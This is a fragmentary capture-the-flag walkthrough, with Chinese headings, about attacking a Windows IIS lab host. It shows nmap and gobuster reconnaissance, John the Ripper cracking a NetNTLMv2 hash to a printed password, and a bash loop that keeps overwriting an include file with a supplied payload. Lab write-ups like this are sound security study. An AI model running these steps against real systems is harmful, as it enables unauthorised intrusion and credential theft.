Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-10 14:23 CST Nmap scan report for 10.10.10.231 Host is up (0.069s latency). Not shown: 999 filtered ports PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: OS Tidy Inc. Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 62.70 seconds
80
目录扫描
目录扫描发现licenses:
1 2 3 4 5 6 7
gobuster dir -u http://10.10.10.231/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -x asp,html,txt -t 50
➜ Desktop sudo john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt [sudo] password for miao: Using default input encoding: UTF-8 Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64]) Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status charlotte123! (web) 1g 0:00:00:00 DONE (2021-05-07 08:20) 1.098g/s 1089Kp/s 1089Kc/s 1089KC/s cheers4$..chaqueto Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably Session completed
#!/bin/bash PAYLOAD=$1 while :; do echo hello world > /Users/miao/Downloads/temp/header.inc echo"$PAYLOAD" > /Users/miao/Downloads/temp/header.inc done